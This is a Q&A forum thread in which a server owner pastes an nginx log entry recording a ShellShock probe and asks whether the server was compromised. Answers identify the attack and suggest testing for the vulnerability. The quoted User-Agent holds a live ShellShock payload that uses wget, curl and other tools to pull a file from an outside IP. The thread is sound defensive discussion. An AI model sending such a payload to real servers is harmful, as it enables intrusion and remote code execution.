1

There were quite a few entries as below in the nginx access log. How do I know the outcome of these scripts and if my server is compromised or no?

162.232.183.48 - - [14/Jan/2016:10:54:57 +0000] "GET /cgi-bin/php4 HTTP/1.1" 200 1494 "-" "() { :;};/usr/bin/perl -e 'print \x22Content-Type: text/plain\x5Cr\x5Cn\x5Cr\x5CnXSUCCESS!\x22;system(\x22 wget http://2
04.232.209.188/images/freshcafe/slice_30_192.png ; curl -O http://204.232.209.188/images/freshcafe/slice_30_192.png ; fetch http://204.232.209.188/images/freshcafe/slice_30_192.png ; lwp-download  http://204.232
.209.188/images/freshcafe/slice_30_192.png ; GET http://204.232.209.188/images/freshcafe/slice_30_192.png ; lynx http://204.232.209.188/images/freshcafe/slice_30_192.png  \x22);'" "-"
2

Notice the magic string () { :; };. They are trying to poke around and see if your server is vulnerable to the ShellShock exploit. Perl is used here to print and see if the attack succeeded.

Test if your server is vulnerable to ShellShock. If it's not, you are clear.

See also: Is my server vulnerable to a perl exploit?

| improve this answer | |
2

He's looking to do shellshock against you. The funny thing is that he misconfigured his attack. I do malware capture and his wget/fetch/etc fail because his package ain't there :-)

| improve this answer | |

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.